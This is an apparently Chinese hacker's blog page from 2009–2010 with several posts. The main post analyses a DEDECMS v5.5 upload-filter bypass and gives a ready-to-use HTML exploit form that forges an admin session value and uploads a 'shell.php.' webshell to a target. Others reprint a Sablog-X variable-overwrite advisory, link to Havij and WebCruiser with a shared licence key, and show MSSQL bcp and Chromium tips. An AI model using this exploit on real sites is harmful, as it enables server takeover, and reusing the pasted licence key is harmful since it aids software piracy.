st0p's blog

免费提供st0p.org后缀的邮箱

12 Comments | This entry was posted on Sep 24 2009

免费提供username@st0p.org的邮箱，数量有限，可以用来登陆Gtalk.需要的联系我QQ：16739670

mail, st0p.org, 邮箱

忆·生活点滴

DEDECMS v5.5 Final select_soft_post.php 漏洞

1 Comment | This entry was posted on Mar 09 2010

作者:st0p
转载请注明出处 http://www.st0p.org

今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/

自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..

而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..

我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...

看了一下/include/dialog/select_soft_post.php

问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码

......
//文件名（前为手工指定， 后者自动处理）
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止！",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件，系统拒绝操作！",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败！");
@unlink($uploadfile);
......

EXP如下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>

DEDECMS, DEDECMS v5.5, select_soft_post.php, 漏洞

学·武功秘籍

Havij 1.08

1 Comment | This entry was posted on Feb 27 2010

http://redmove.persiangig.com/MyPrograms/Havij%201.08.exe

Havij, Havij 1.08

藏·工具收集

WebCruiser - Web Vulnerability Scanner V1.2.1.0206 Enterprise Edition

1 Comment | This entry was posted on Feb 26 2010

http://sec4app.com/download/WebCruiserEnt.rar

st0p.org
9EF6-CC8C-F068-B1D6

Web Vulnerability Scanner, WebCruiser

藏·工具收集

MSSQL bcp用法

0 Comments | This entry was posted on Feb 21 2010

通过SQL语句导出数据

1 2	bcp "select * from info..info where date between '2010-02-01' and '2010-02-04'" queryout "d:\info.out" -SST0P-PC\SQLEXPRESS -Usa -P123456 -c

直接导出数据库表的数据

1	bcp 库名.dbo.表名 out d:\表名.dat -T -n

其中-S后的ST0P-PC\SQLEXPRESS是我本地的服务器名称
-U后的是用户名
-p后的是密码

输入bcp/?查看帮助

用法: bcp {dbtable | query} {in | out | queryout | format} 数据文件
[-m 最大错误数] [-f 格式化文件] [-e 错误文件]
[-F 首行] [-L 末行] [-b 批大小]
[-n 本机类型] [-c 字符类型] [-w 宽字符类型]
[-N 将非文本保持为本机类型] [-V 文件格式版本] [-q 带引号的标识符]
[-C 代码页说明符] [-t 字段终止符] [-r 行终止符]
[-i 输入文件] [-o 输出文件] [-a 数据包大小]
[-S 服务器名称] [-U 用户名] [-P 密码]
[-T 可信连接] [-v 版本] [-R 允许使用区域设置]
[-k 保留空值] [-E 保留标识值]
[-h"加载提示"] [-x 生成 xml 格式化文件]

bcp, BCP.EXE, MsSql

学·武功秘籍

Sablog-X v2.x 任意变量覆盖漏洞

0 Comments | This entry was posted on Feb 19 2010

author: 80vul-B
team:http://www.80vul.com

一描叙：

由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。

二分析

common.inc.php代码里：

....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
	@extract($_COOKIE, EXTR_SKIP);
	@extract($_POST, EXTR_SKIP);
	@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
	if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里，如果这个if条件不满足，将跳过这个初始化过程。
...
}
if(!$sessionexists) {
	if($sax_uid) {
		if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量

CHROMIUM 备份

0 Comments | This entry was posted on Feb 14 2010

郁闷，大过年的，在家睡了一天，起来一上网电脑挂了，还好一些常用目录全在别的盘，GHOST一下就好了。。。
等恢复完我傻眼了，偶的CHROMIUM中的书签没了，记得上次更新过后，在路径中加启用同步中心和修改配置文件保存路径就没用了。。。
本来想着同步一下呗，一试更郁闷了，无法连接服务器，登陆DOCS上一看，只有老的同步数据，好久没有同步了。。。一查才知道，CHROMIUM的同步中心被我们伟大的GFW墙了。。。。真想哭啊，我的书签。。。。
FUCK GFW。。。没事你乱墙啥，真TMD蛋疼。总结一下新的解决方法，唉。。

方法一
修改HOSTS法，能进行书签的同步和插件中心正常安装插件

74.125.39.99 chrome.google.com
74.125.39.99 clients2.google.com
74.125.39.99 clients4.google.com

方法二
偶用的是WINDOWS 7 通过MKLINK来实现。。好命令啊。

把C:\Users\[username]\AppData\Local\Chromium 这个文件夹剪切到别的目录。路径中的 [username]为你的用户名，如我的
C:\Users\st0p\AppData\Local\Chromium 我拷到了G盘
然后呢，打开cmd（命令提示符），切换到C:\Users\[username]\AppData\Local\ 目录下面。输入 mklink /d Chromium g:\Chromium 命令。
重新启动你的Chromium，搞定了~

记录一下，今年过年过的超郁闷啊，心情超不好，日。

CHROMIUM, mklink, 书签同步, 同步中心, 插件中心

学·武功秘籍